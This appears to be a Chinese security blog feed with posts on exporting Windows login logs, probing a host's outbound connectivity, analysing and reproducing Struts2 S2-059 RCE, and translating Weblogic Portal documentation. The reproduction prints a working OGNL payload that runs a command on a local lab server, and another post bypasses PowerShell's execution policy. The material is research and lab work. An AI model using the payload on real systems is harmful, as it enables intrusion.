<p>至此,提权成功</p>获取windows登录日志2020-12-22T00:00:00+01:002020-12-22T00:00:00+01:0012138tag:None,2020-12-22:huo-qu-windowsdeng-lu-ri-zhi.html<h2>获取主机交互式登录日志</h2>
<h3>powershell脚本</h3>
<p>脚本下载链接:<a href="https://gitee.com/wochinijiamile/smartya/raw/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dlog%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.zip">log_export.ps1</a></p>
<p>运行完成之后会生成一个包含登录日志的csv文件,我这里是在我自己的机器 …</p><h2>获取主机交互式登录日志</h2>
<h3>powershell脚本</h3>
<p>脚本下载链接:<a href="https://gitee.com/wochinijiamile/smartya/raw/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dlog%E8%8E%B7%E5%8F%96%E8%A7%A3%E5%8E%8B%E5%AF%86%E7%A0%81.zip">log_export.ps1</a></p>
<p>运行完成之后会生成一个包含登录日志的csv文件,我这里是在我自己的机器上演示的,所以没有登录IP,在实际环境中如果存在3389登录,则会显示出登录IP</p>
<p><img alt="1608619334486" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/jHkRsnTSIH.jpg"></p>
<p>可以注意到我上面运行的命令为:<code>powershell -executionpolicy bypass -command "& { C:\Users\x\AppData\Local\Temp\log_export.ps1 }"</code>,这样可以直接在shell环境下绕过powershell脚本执行限制策略运行ps1脚本,可参考我的这篇文章:<a href="https://wochinijiamile.blog.csdn.net/article/details/103884626">在cmd中导入powershell module并执行</a></p>
<p>同时我们也可以指定时间范围来对查询结果进行限制,用法:</p>
<div class="highlight"><pre><span></span><code>powershell<span class="w"> </span>-executionpolicy<span class="w"> </span>bypass<span class="w"> </span>-command<span class="w"> </span><span class="s2">"& { C:\Users\x\AppData\Local\Temp\log_export.ps1 -StartTime \"December 11, 2020\" -EndTime \"December 22, 2020\" }"</span>
</code></pre></div>
<p>上面这条命令会导出<code>2020-12-11</code>至<code>2020-12-22</code>之间的登录日志,指定时间范围是需要注意格式:<strong>November 1, 2020,月份为英文全写,首字母大写,然后空格跟上日期,最后是英文的<code>,</code>加空格再跟上年份</strong>,</p>
<p><img alt="1608627072531" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/zkHhzpxVUb.jpg"></p>
<p>我对脚本进行了更改,如果不指定日期,则默认时间范围是<code>1970-1-1</code>~<code>1970-1-2</code>,即导出数据为空</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>powershell<span class="w"> </span>-executionpolicy<span class="w"> </span>bypass<span class="w"> </span>-command<span class="w"> </span><span class="s2">"& { C:\Users\x\AppData\Local\Temp\log_export.ps1 }"</span>
Get-WinEvent<span class="w"> </span>:<span class="w"> </span>找不到任何与指定的选择条件匹配的事件。
所在位置<span class="w"> </span>C:<span class="se">\U</span>sers<span class="se">\x\A</span>ppData<span class="se">\L</span>ocal<span class="se">\T</span>emp<span class="se">\l</span>og_export.ps1:46<span class="w"> </span>字符:<span class="w"> </span><span class="m">23</span>
+<span class="w"> </span>...<span class="w"> </span><span class="nv">llEntries</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>Get-WinEvent<span class="w"> </span>-FilterHashtable<span class="w"> </span><span class="nv">$LogFilter</span><span class="w"> </span>-ComputerName<span class="w"> </span><span class="nv">$S</span><span class="w"> </span>...
+<span class="w"> </span>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<span class="w"> </span>+<span class="w"> </span>CategoryInfo<span class="w"> </span>:<span class="w"> </span>ObjectNotFound:<span class="w"> </span><span class="o">(</span>:<span class="o">)</span><span class="w"> </span><span class="o">[</span>Get-WinEvent<span class="o">]</span>,<span class="w"> </span>Exception
<span class="w"> </span>+<span class="w"> </span>FullyQualifiedErrorId<span class="w"> </span>:<span class="w"> </span>NoMatchingEventsFound,Microsoft.PowerShell.Commands.GetWinEventCommand
Writing<span class="w"> </span>File:<span class="w"> </span>C:<span class="se">\U</span>sers<span class="se">\x\2</span><span class="m">020</span>-12-22T16.51.49_RDP_Report.csv
Done!
</code></pre></div>
<p><strong>此时导出的csv文件中将不包含任何有效记录!</strong></p>探测主机网络状态2020-12-22T00:00:00+01:002020-12-22T00:00:00+01:0012138tag:None,2020-12-22:tan-ce-zhu-ji-wang-luo-zhuang-tai.html<h1>探测主机是否能够出网</h1>
<h2>使用windows自带的ftp</h2>
<p><img alt="image-20200820212528452" src="探测主机网络状态.assets/image-20200820212528452-1599019699430-1608641287360.png"></p>
<p><strong>使用这种方式确实可以判断目标机器是否可以与外部IP建立TCP连接,但是缺点是只能探测21端口,windows自带的ftp命令无法使用一条命令连接指定端口,需要 …</strong></p><h1>探测主机是否能够出网</h1>
<h2>使用windows自带的ftp</h2>
<p><img alt="image-20200820212528452" src="探测主机网络状态.assets/image-20200820212528452-1599019699430-1608641287360.png"></p>
<p><strong>使用这种方式确实可以判断目标机器是否可以与外部IP建立TCP连接,但是缺点是只能探测21端口,windows自带的ftp命令无法使用一条命令连接指定端口,需要先进入交互式的ftp命令提示符之后才可以使用open指定端口</strong></p>
<h2>使用portqry.exe</h2>
<p><a href="https://www.microsoft.com/en-us/download/details.aspx?id=17148">下载链接</a></p>
<p>该工具为Microsoft提供,不会被杀软查杀,可以使用如下方式探测指定IP的指定端口是否开启:</p>
<div class="highlight"><pre><span></span><code>portqry.exe -n 114.116.241.95 -e 54321
</code></pre></div>
<p><img alt="image-20200820213126426" src="探测主机网络状态.assets/image-20200820213126426-1599019688667.png"></p>
<p>portqry默认采用TCP协议进行端口探测,可以使用<code>-p</code>选项指定协议:</p>
<div class="highlight"><pre><span></span><code>portqry.exe -n 114.116.241.95 -e 55555 -p udp
</code></pre></div>
<p><img alt="image-20200820214053671" src="探测主机网络状态.assets/image-20200820214053671-1599019693260-1608641287361.png"></p>
<h1>获取主机出口IP</h1>
<p>对于出网的机器,直接使用上面两种方法即可获取到主机的出口IP,但是对于不出网但是又能够解析域名并往外发ICMP包的主机来说,就需要使用下面这两种方法来获取出口IP了</p>
<h2>使用BurpSuite的Burp Cpllaborator client</h2>
<p><img alt="image-20200820214355998" src="探测主机网络状态.assets/image-20200820214355998-1599019724883-1608641287361.png"></p>
<p>点击<code>copy to clipboard</code>获取域名</p>
<p><img alt="image-20200820214456076" src="探测主机网络状态.assets/image-20200820214456076-1599019721371-1608641287361.png"></p>
<p>在目标机器上ping上面获取到的域名:</p>
<p><img alt="image-20200820214604691" src="探测主机网络状态.assets/image-20200820214604691-1599019714601-1608641287361.png"></p>
<p>然后在<code>Burp Cpllaborator client</code>点击<code>Pull now</code>,即可获得DNS请求信息,从而获取到目标机器的出口IP:
<img alt="image-20200820215000348" src="探测主机网络状态.assets/image-20200820215000348-1599019703104-1608641287361.png"></p>
<p>不过使用这种方法获取到的IP不保证为目标机器的真实出口IP,因为如果它使用的是递归查询的方式,那么我们获取到的IP可能就是最后一个向我们发起dns查询请求的dns服务器的IP,只能大致推测一下目标IP的地理位置,还是使用tcpdump监听icmp包比较靠谱</p>
<h2>监听ICMP包</h2>
<p>左侧使用tcpdump监听eht0网卡上的ICMP包:<code>tcpdump -nn -i eth0 icmp</code></p>
<p>一般情况下是不会有人ping我们的vps的,所以这种方法相对比较准确,这里只发了一次包,可以多发几次以提高正确率</p>
<p><img alt="1607868228796" src="探测主机网络状态.assets/1607868228796-1608641287361.png"></p>Struts2-059 RCE (CVE-2019-0230)漏洞分析2020-12-16T00:00:00+01:002020-12-16T00:00:00+01:0012138tag:None,2020-12-16:struts2-059-rce-cve-2019-0230lou-dong-fen-xi.html<h1>前言</h1>
<p>复现过程参考:<a href="http://144.34.164.217/struts2-059-rce-cve-2019-0230fu-xian.html">Struts2-059 RCE (CVE-2019-0230)复现</a></p>
<p>首先我们确定引发漏洞的具体位置,根据<a href="https://cwiki.apache.org/confluence/display/WW/S2-059">apache官网的描述</a>,未经过滤的OGNL表达式被<strong>强制二次解析</strong>,从而导致远程命 …</p><h1>前言</h1>
<p>复现过程参考:<a href="http://144.34.164.217/struts2-059-rce-cve-2019-0230fu-xian.html">Struts2-059 RCE (CVE-2019-0230)复现</a></p>
<p>首先我们确定引发漏洞的具体位置,根据<a href="https://cwiki.apache.org/confluence/display/WW/S2-059">apache官网的描述</a>,未经过滤的OGNL表达式被<strong>强制二次解析</strong>,从而导致远程命令执行,比如</p>
<div class="highlight"><pre><span></span><code><span class="o"><</span><span class="n">s</span><span class="p">:</span><span class="n">url</span> <span class="nb">var</span><span class="p">=</span><span class="s">"url"</span> <span class="n">namespace</span><span class="p">=</span><span class="s">"/employee"</span> <span class="n">action</span><span class="p">=</span><span class="s">"list"</span><span class="o">/><</span><span class="n">s</span><span class="p">:</span><span class="n">a</span> <span class="n">id</span><span class="p">=</span><span class="s">"%{skillName}"</span> <span class="n">href</span><span class="p">=</span><span class="s">"%{url}"</span><span class="o">></span><span class="n">List</span> <span class="n">available</span> <span class="n">Employees</span><span class="o"></</span><span class="n">s</span><span class="p">:</span><span class="n">a</span><span class="o">></span>
</code></pre></div>
<p>如果攻击者能够发送请求控制<code>skillName</code>的值,那么当<code><s></code>标签被渲染的时候,<code>skillName</code>中如果包含了未经过滤的<code>OGNL</code>表达式,则可能会导致命令执行</p>
<p>参考链接:</p>
<ul>
<li><a href="https://blog.csdn.net/weixin_46236101/article/details/109080913">https://blog.csdn.net/weixin_46236101/article/details/109080913</a></li>
<li><a href="https://cwiki.apache.org/confluence/display/WW/S2-059">https://cwiki.apache.org/confluence/display/WW/S2-059</a></li>
<li><a href="https://securitylab.github.com/research/apache-struts-double-evaluation">https://securitylab.github.com/research/apache-struts-double-evaluation</a></li>
</ul>
<h1>漏洞分析</h1>
<p>还是用复现文章中的漏洞环境,既然漏洞出在标签渲染的部分,那么就一定需要获取标签属性的值,因此我们在<code>getPayload</code>方法处下断点</p>
<p><img alt="1608096100275" src="CVE-2019-0230 strutsStruts2-059分析.assets/1608096100275-1608190108933.png"></p>
<p>然后开始debug,burp发包触发断点</p>Struts2-059 RCE (CVE-2019-0230)复现2020-12-15T00:00:00+01:002020-12-15T00:00:00+01:0012138tag:None,2020-12-15:struts2-059-rce-cve-2019-0230fu-xian.html<h1>前言</h1>
<p><a href="https://zoresmile.cn/">阿怪</a>前两天让帮忙复现一下这个洞,正好今天闲着没事,就弄了一下</p>
<p>这个洞是Struts框架的OGNL表达式语言引起的,所以我们本次复现也是通过创建一 …</p><h1>前言</h1>
<p><a href="https://zoresmile.cn/">阿怪</a>前两天让帮忙复现一下这个洞,正好今天闲着没事,就弄了一下</p>
<p>这个洞是Struts框架的OGNL表达式语言引起的,所以我们本次复现也是通过创建一个使用了该特性的demo应用程序来完成的</p>
<p>参考链接:</p>
<ul>
<li><a href="https://blog.csdn.net/weixin_46236101/article/details/109080913">https://blog.csdn.net/weixin_46236101/article/details/109080913</a></li>
</ul>
<h1>复现漏洞</h1>
<p>这里我们直接创建一个struts应用来搭建漏洞环境</p>
<p>完整项目下载链接:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/suiyi/raw/master/cve.7z">https://gitee.com/wochinijiamile/suiyi/raw/master/cve.7z</a></li>
</ul>
<p>为了节省兄弟们的时间,我直接将项目依赖的jar包也放上来</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/suiyi/raw/master/repository.rar">https://gitee.com/wochinijiamile/suiyi/raw/master/repository.rar</a></li>
</ul>
<p>如果你使用的是IDEA内置的maven,将压缩包下载下来解压之后放到<code>C:\Users\your-user-name\.m2</code>即可</p>
<p>在IDEA打开之后,配置好tomcat并运行,打开BurpSuite发包即可</p>
<p>http包:</p>
<div class="highlight"><pre><span></span><code>POST<span class="w"> </span>/Struts2OGNLExample_war_exploded/welcome<span class="w"> </span>HTTP/1.1
Host:<span class="w"> </span><span class="m">192</span>.168.1.105:8080
Proxy-Connection:<span class="w"> </span>keep-alive
Content-Length:<span class="w"> </span><span class="m">585</span>
Cache-Control:<span class="w"> </span>max-age<span class="o">=</span><span class="m">0</span>
Upgrade-Insecure-Requests:<span class="w"> </span><span class="m">1</span>
Origin:<span class="w"> </span>http://192.168.1.105:8080
Content-Type:<span class="w"> </span>application/x-www-form-urlencoded
User-Agent:<span class="w"> </span>Mozilla/5.0<span class="w"> </span><span class="o">(</span>Windows<span class="w"> </span>NT<span class="w"> </span><span class="m">10</span>.0<span class="p">;</span><span class="w"> </span>Win64<span class="p">;</span><span class="w"> </span>x64<span class="o">)</span><span class="w"> </span>AppleWebKit/537.36<span class="w"> </span><span class="o">(</span>KHTML,<span class="w"> </span>like<span class="w"> </span>Gecko<span class="o">)</span><span class="w"> </span>Chrome/87.0.4280.88<span class="w"> </span>Safari/537.36
Accept:<span class="w"> </span>text/html,application/xhtml+xml,application/xml<span class="p">;</span><span class="nv">q</span><span class="o">=</span><span class="m">0</span>.9,image/avif,image/webp,image/apng,*/*<span class="p">;</span><span class="nv">q</span><span class="o">=</span><span class="m">0</span>.8,application/signed-exchange<span class="p">;</span><span class="nv">v</span><span class="o">=</span>b3<span class="p">;</span><span class="nv">q</span><span class="o">=</span><span class="m">0</span>.9
Referer:<span class="w"> </span>http://192.168.1.105:8080/Struts2OGNLExample_war_exploded/home.jsp
Accept-Encoding:<span class="w"> </span>gzip,<span class="w"> </span>deflate
Accept-Language:<span class="w"> </span>zh-CN,zh<span class="p">;</span><span class="nv">q</span><span class="o">=</span><span class="m">0</span>.9,en-US<span class="p">;</span><span class="nv">q</span><span class="o">=</span><span class="m">0</span>.8,en<span class="p">;</span><span class="nv">q</span><span class="o">=</span><span class="m">0</span>.7
Cookie:<span class="w"> </span><span class="nv">JSESSIONID</span><span class="o">=</span>D02933EF26BDACF2754945FC7E822C79
<span class="nv">payload</span><span class="o">=</span>%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse<span class="o">()</span>.getWriter<span class="o">()</span>%2C%23a%3D%40java.lang.Runtime%40getRuntime<span class="o">()</span>%2C%23s%3Dnew%20java.util.Scanner<span class="o">(</span>%23a.exec<span class="o">(</span><span class="s1">'calc.exe'</span><span class="o">)</span>.getInputStream<span class="o">())</span>.useDelimiter<span class="o">(</span><span class="s1">'%5C%5C%5C%5CA'</span><span class="o">)</span>%2C%23str%3D%23s.hasNext<span class="o">()</span>%3F%23s.next<span class="o">()</span>%3A<span class="s1">''</span>%2C%23res.print<span class="o">(</span>%23str<span class="o">)</span>%2C%23res.close<span class="o">()</span>%0A%7d
</code></pre></div>
<p><img alt="asdasdasda" src="CVE-2019-0230复现与分析.assets/asdasdasda-1608031725616.gif"></p>
<h1>后记</h1>
<p>回头有空再研究一下怎么回显</p>友情链接2020-12-11T00:00:00+01:002020-12-11T00:00:00+01:0012138tag:None,2020-12-11:you-qing-lian-jie.html<ul>
<li><a href="https://zoresmile.cn/">阿怪</a></li>
<li><a href="https://birkenwald.cn/">白桦林网络空间安全实验室</a></li>
<li><a href="https://wochinijiamile.blog.csdn.net/">wochinijiamile</a></li>
<li><a href="https://blog.csdn.net/ma_de_hao_mei_le">ma_de_hao_mei_le</a></li>
<li><a href="https://citrusice.github.io/">汪哥</a></li>
</ul>
<p>申请友链请联系我邮箱<strong>(๑•̀ㅂ•́)و✧</strong></p>Weblogic Portak Fework文档2020-12-05T00:00:00+01:002020-12-05T00:00:00+01:0012138tag:None,2020-12-05:weblogic-portak-feworkwen-dang.html<p>社畜</p>
<p><a href="https://144.one/you-qing-lian-jie.html">友情链接</a></p>
<p>微信公众号:<a href="https://raw.githubusercontent.com/wqreytuk/img_repo/main/VouwGcUaDz.jpg">我吃你家米了</a></p>
<p>x:<a href="https://x.com/include233333">@include233333</a></p>
<p>看雪:<a href="https://bbs.kanxue.com/user-home-953537.htm">12138</a></p>
<p>github:<a href="https://github.com/wqreytuk">wqreytuk</a></p>
<p><a href="https://144.one/feeds/all.atom.xml">RSS</a></p>
<p>联系我:<strong>NDc2NTIyODg0QHFxLmNvbQ==</strong></p>Weblogic Portal Framework文档2020-12-05T00:00:00+01:002020-12-05T00:00:00+01:0012138tag:None,2020-12-05:weblogic-portal-frameworkwen-dang.html<h1>前言</h1>
<p>由于这段时间审计的<a href="http://144.34.164.217/weblogic-cve-2020-1488214883lou-dong-fen-xi.html#qqqFenXiUIServlet#doPost">weblogic漏洞</a>涉及到了这一部分,就顺便把官方文档翻译了一下,也方便大家查阅</p>
<p>参考链接:</p>
<ul>
<li><a href="https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html">https://docs.oracle.com/cd/E13218_01 …</a></li></ul><h1>前言</h1>
<p>由于这段时间审计的<a href="http://144.34.164.217/weblogic-cve-2020-1488214883lou-dong-fen-xi.html#qqqFenXiUIServlet#doPost">weblogic漏洞</a>涉及到了这一部分,就顺便把官方文档翻译了一下,也方便大家查阅</p>
<p>参考链接:</p>
<ul>
<li><a href="https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html">https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html</a></li>
</ul>
<h1>正文内容</h1>
<h2>摘要</h2>
<p>本文档旨在对<code>portal framework</code>的技术进行一个简要的介绍,本文档的目标读者为具有<code>J2EE</code>技术背景且已经熟悉Weblogic Portal的开发者</p>
<p>本文档是在线文档的补充,并且我们假设你已经阅读过相关的在线文档,然后想要查找技术性更强的资料</p>
<p>本文档只会介绍portal framework,不直接讨论与Weblogic Workshop的交互相关的问题,比如Weblogci后台管理portal以及任何Weblogic Portal的附加功能都不会在本文档中介绍,</p>
<h2>术语、缩略约定</h2>
<p>事先声明这些术语和缩略词很重要,因为这次词汇贯穿整个文档,请稍微花点时间熟悉一下</p>
<h3>Netui</h3>
<p>别名Page Flows,用于构建model 2类型应用程序的编程模型,基于Struts Framework进行构建</p>
<h3>Netuix</h3>
<p>用于渲染应用程序的XML框架,netuix开始只是netui的扩展,但是如今的netuix已经和netui没有任何关系了,他俩是完全不同的两种技术,只是名字相似罢了,同时netuix可以完美托管基于netui的应用程序</p>
<h3>客制化(自定义)</h3>
<p>通过API对portal进行修改的术语,这个API通常由我们的Weblogic后台管理portal和Visitor Tools页面进行调用,同时也可以被想要进行自定义设计的开发者使用</p>
<p>API提供了所有在客制化过程中可能用到的CURD操作。客制化不同于个性化,对于客制化而言,我们自主决定对应用的更改,而个性化是需要基于预设的规则和固定的行为的。比如<strong>今天是星期五,游客住在丹佛,所以放一个赛马相关的广告</strong></p>
<h3>Portal Framework</h3>
<p>weblogic portal中负责渲染和客制化portal的一部分,这也是本文档主要介绍的内容</p>
<h3>轻量级Portal(基于文件的Portal)</h3>
<p>所谓轻量级portal就是一个精简版的weblogic portal,该portal不部署任何的EJB或者数据库,轻量级portal支持portal framework除了客制化以外的所有功能</p>
<p>轻量级Portal只能渲染portal文件,不能访问数据库来进行客制化操作,轻量级portal渲染会在Weblogic Workshop部署时进行,也有可能被用在产品系统中</p>
<h3>UIControl</h3>
<p>用户界面控制,不要和Weblogic Workshop的business control混淆,XML文档中的每一个元素都代表了一个UIControl的实例,典型的Control为:<code>Books</code>、<code>Pages</code>、<code>Menus</code>、<code>Portlets</code>等等</p>
<h3>单文件 vs 流式渲染</h3>
<p>你在Weblogic Workshop创建的<code>.portal</code>文件是一个完全可以正常运行的portal,不过它也可以被用来作为创建desktop的模板,在这个模板中你可以创建books、pages以及对其他portlets的引用并定义他们的默认行为</p>
<p>当你通过浏览器去访问你所创建的<code>.portal</code>文件时,是通过单文件模式进行渲染的,这意味着你是从文件系统中访问portal而不是从数据库中</p>
<p>portal文件中的XML内容会被解析,然后向浏览器返回一个渲染过的portal,portal文件的创建和使用主要用于开发和静态portal(没有被用户或者管理员客制化过的portal),没有了数据库的加入,客制化的功能就没了</p>
<p>流式渲染就是多了个数据库,这里不再赘述</p>
<h3>库</h3>
<p>这里的库指的就是与desktop无关的公共control的集合,换言之就是Books、Pages、Portlets这些control可以在desktop范围外进行创建,之后再加入到desktop中</p>
<p>对库中对象的改变会影响到desktop和客制化</p>
<h2>Netuix</h2>
<h3>Controls</h3>
<p>前面已经提到过,netuix是一个用于渲染应用程序的XML框架,不管这些应用看起来像不像portal,很多我们的客户使用我们的框架所创建出来的应用完全不像portal,特别是当人们认为portal应该是<code>My Yahoo!</code>那样的web应用时,实际上很多使用netuix构建的应用像<code>My Yahoo!</code>,同时也有一部分和<code>My Yahoo!</code>相差甚远</p>
<p>一个netuix应用通常呈现为一个XML文档,最常见的就是<code>.portal</code>后缀文件,这个portal文件可能会包含其他的portal包含文件,这些文件通常以<code>.pinc</code>作为后缀,意为<code>portal include</code>,这一点和JSP文件很相似,他们都具有通过包含来分散文件内容的特性</p>
<p><code>.pinc</code>文件和portal文件有所不同,protal文件会包含根元素或者contorl,但是<code>.pinc</code>文件没有这些东西,相关细节我们会在后面进行讨论,此外,<code>.pinc</code>文件必须以<code>Book</code>或者<code>Page</code>元素作为根元素</p>
<p>对于portal文件,你可以认为每一个元素代表一个UIControl的实例,这些control在继承树中看起来有些奇怪,换言之,每一个control都有一个父control,有0或着多个子control,这些control可以在运行时找到彼此,而且可以通过添加或者移除子control来改变继承树的结构,所有的control都通过一个生命周期运行,所谓生命周期就是按照特定顺序在control中被调用的方法的集合,所有的方法通过深度优先进行调用</p>
<p>为了更好地解释这件事,我们先来捋一遍在单文件模式下通过浏览器访问portal时发生的事件,在此之前,我们需要先介绍一下portal framework的一些框架相关的知识,所有对protal或者desktop的请求都通过PortalServlet发送过来,PortalServlet在web.xml中进行注册,其注册在url-pattern:<code>*.portal</code>下</p>
<p><img alt="1607242302320" src="Weblogic Portak Framework文档.assets/1607242302320.png"></p>
<p>当PortalServlet检测到请求以<code>.portal</code>结束时,他就知道正在请求本地文件,然后就不会再去请求XML中的持久API了</p>
<p>PortalServlet要做的第一件事就是解析XML文件(<code>.portal</code>),然后根据该文件生成一个<code>control tree</code>,portal文件中的每一个元素代表control tree中的一个control,元素中的每一个属性代表control中的一个实例变量,同样的层次结构也能在portal文件中找到,一个control就是一个继承了UIControl类的java类,在当前的发行版本中,我们并没有向开发者明确地暴露control类,但是开发者可以通过<code>backing files</code>,<code>context</code>,<code>skeleton jsp</code>和control进行交互,这个将会在后面进行讨论</p>
<p><strong>注意:</strong>PortalServlet不会在每次请求过程中都解析XML文件,这中间有许多缓存和little tricks,这一切都是为了能在企业级应用中表现出更佳的性能</p>
<p>一旦control tree建立起来并且所有control的实例变量也都被设置,control tree就会通过生命周期运转起来,生命周期方法如下:</p>
<div class="highlight"><pre><span></span><code><span class="n">init</span><span class="p">()</span>
<span class="n">loadState</span><span class="p">()</span>
<span class="n">handlePostbackData</span><span class="p">()</span>
<span class="n">raiseChangeEvents</span><span class="p">()</span>
<span class="n">preRender</span><span class="p">()</span><span class="w"> </span>
<span class="n">saveState</span><span class="p">()</span>
<span class="n">render</span><span class="p">()</span><span class="w"> </span>
<span class="n">dispose</span><span class="p">()</span><span class="w"> </span>
</code></pre></div>
<p>每个方法通过深度优先的顺序进行调用,先是<code>init()</code>方法被调用,然后是<code>loadState()</code>方法,以此类推</p>
<p>比如我们现在有一个下图中的control tree,那么<code>init()</code>方法被调用的顺序为: <code>C1, C2, C5, C3, C6, C7, C4</code></p>
<p><img alt="img" src="Weblogic Portak Framework文档.assets/Image1.gif"></p>
<p>然后下面是<code>loadState()</code>方法按照同样的顺序(深度优先的顺序)被调用</p>
<p>上图中control tree的生命周期方法最后被调用的就是C4 control的<code>dispose()</code>方法</p>
<h2>Portal Controls</h2>
<p>本节我们将要描述组成portal framework的所属有netuix control,这些control的关系在XML约束中定义:<code>controls-netuix-1_0_0.xsd</code>,下面的,描述对约束定义进行了总结</p>
<h3></h3>
<h3>Desktop</h3>
<p>Desktop control是所有netuix control的父control,每一个portal都必须包含一个Desktop control,实际上Desktop control除了权限校验以及提供查找其他子control的方式之外没有任何功能</p>
<p>从开发者的角度来说,Desktop control最重要的用处就是它拥有一个可以遍历获取所有子control引用的<code>PresentationContext</code> ,比如books、pages和portlets,在8.1 sp3版本中又新增了<code>DesktopBackingContext</code>,相比<code>PresentationContext</code> `拥有更丰富的用于定位子control的方法</p>
<h3>Windows</h3>
<p>Windows control提供了和微软操作系统的windows相似的概念,Windows支持States和Modes,States会影响Windows的渲染,比如最小化,最大化,浮动和删除,Modes会影响内容,比如Edit和Help(客制化modes同时也被支持),Windows同时也可以作为其他Windows的容器,例如一个book可以包含一个page</p>
<p>所有的Window control都必须包含一个Content control,Content control负责托管window中的实际内容,Windows control其实就是一个抽象类,它是所有的portal中都必须被使用的三个类之一,这三个类分别为:Books、Pages、Portlets,下图展示了Windows、Books、Pages和Portlets之间的关系:</p>
<p><img alt="img" src="Weblogic Portak Framework文档.assets/Image2.gif"></p>
<p>可以看到从Body往下,就是Windows control的范围了</p>
<h3>Book</h3>
<p>Book集成多个navigable,一个navigable是一个Book或者Page,一个Book可能包含一个可选的menu control用于在众多的navigable中进行导航,站在代码编写的角度,Navigable就是一个由Book和Page实现的接口</p>
<h3>Page</h3>
<p>Page用于显示Placeable的集合,Placeable就是一个Portlet或者Book,Page拥有一个具有一个或者多个占位符的布局,这些占位符可以用来托管一个或者多个Placeable</p>
<h3>Portlet</h3>
<p>Portlet被用作托管不同类型的应用的窗口,在编写此文档时,只有下面这些应用可以被托管:</p>
<ul>
<li>HTML页面</li>
<li>JSP文件</li>
<li><code>.pinc</code>文件</li>
<li>Page Flows</li>
<li>Struts</li>
<li>WebFlows</li>
<li>JSR 168 Portlets</li>
<li>WSRP proxy portlets</li>
</ul>
<h3>Menus</h3>
<p>Menus是一个可选组件,它松耦合于Book和Page,Menu负责显示某些导航组件,不管它是选项卡的集合还是链接的集合,又或者是一些树结构,menu触发<code>PageChangeEvents</code>事件,该事件由Page进行监听并根据该事件做出相应的动作</p>
<p>在编写此文档时,Weblogic Portal提供两种类型的menu:singlelevel和multilevel,未来的发行版本和服务包可能会包含更多的类型,你可以使用JSP和<code><render:pageUrl></code>来创建自己的menu,或者通过backing file在Book、Page或者Portlet backing context中在<code>preRender</code>方法调用之前调用<code>setupPageChangeEvent</code>方法来创建自己的menu</p>
<h4>SingleLevelMenu</h4>
<p>为book的直属page和子book提供一个选项</p>
<h4>MultiLevelMenu</h4>
<p>为所有的book和包含在book中的page递归创建一个具有层次结构的menu,这种类型的menu不会停留在第一层子节点,它会贯穿整个树结构,如果父book使用了一个<code>multilevelmenu</code>,那么子book就不应该再使用<code>multilevelmenu</code>,因为父book的menu会覆盖它们</p>
<h3>Layouts</h3>
<p>Layouts和Placeholders(不要将其与个性化的placeholders混淆)被用来定义portlet和book显示在page中的方式,Layout占位符会被渲染成HTML表格单元</p>
<p>Weblogic Portal提供了一些预定义的layout以及创建自定义layout的方法,更多的layout会在将来的服务包和发行版本中提供,如果提供的layout不符合你的需求,那么你就必须自己创建自定义的layout,下面一节我们会讲解创建自定义layout的详细过程</p>
<h2>与UI Control进行交互</h2>
<p>control并未直接暴露给开发者,因此开发者需要一种直接与control进行交互并控制其行为的方式,为了达到这个目的,Weblogic Portal暴露了context、backing files、skeletons和events,开发者在与portal framework进行交互或者更改其行为时会用到这些组件</p>
<h3>Context</h3>
<p>context就是底层control的委派,此委派只会暴露control中支持的方法</p>
<p>context被分为两种类型:backing context以及presentation context,backing context可以通过backing files进行操作,presentation context可以通过JSP文件进行操作</p>
<p>两种类型的context都会被用到,因为在生命周期的特定阶段,特定的方法会被调用,比如在presentation context中调用<code>setTitle()</code>方法就没有意义,因为portal已经开始渲染,因此调用此方法没有任何作用,但是通过backing file调用这个方法才是正确的</p>
<h4>Backing Context</h4>
<p>Backing Context通过backing files进行操作,可以通过两种方式获得对backing context的引用</p>
<ul>
<li>第一种方法就是使用context类的静态方法<code>getXXXBackingContext</code>,这个方法会返回一个active backing context,类型为所使用的backing file的属主portlet,具体点来说,如果我从portlet A的backing file中调用这个方法,那么我将会获得portlet A的backing context,而不会是portlet B</li>
</ul>
<p>相似地,如果我从portlet A中调用<code>getPageBackingContext(request)</code>方法,我将会获得portlet A所在page的page backing context</p>
<ul>
<li>第二种方法就是通过另外一个context获得一个backing context,当你需要的并不是active context时这个方法是很有用的,举个例子来说,我想从portlet A获取portlet B的backing context</li>
</ul>
<p>如果portlet A和portlet B位于同一个page中,那么有如下用法:</p>
<p><code>PortletBackingContext portletB = PageBackingContext.getPageBackingContext(request).PortletBackingContext getPortletBackingContextRecursive("Portlet Bs instance label");</code></p>
<p>如果A不知道B所在的位置,那么你可以委派给DesktopBackingContext</p>
<p><code>PortletBackingContext portletB = DesktopBackingContext.getPageBackingContext(request).PortletBackingContext getPortletBackingContextRecursive("Portlet Bs instance label");</code></p>
<p>参考javadoc以及其他的backing context以获取更多信息</p>
<p><code>com.bea.netuix.servlets.controls.page.PageBackingContext</code></p>
<p><code>com.bea.netuix.servlets.controls.application.backing.DesktopBackingContext</code></p>
<h4>Presentation Context</h4>
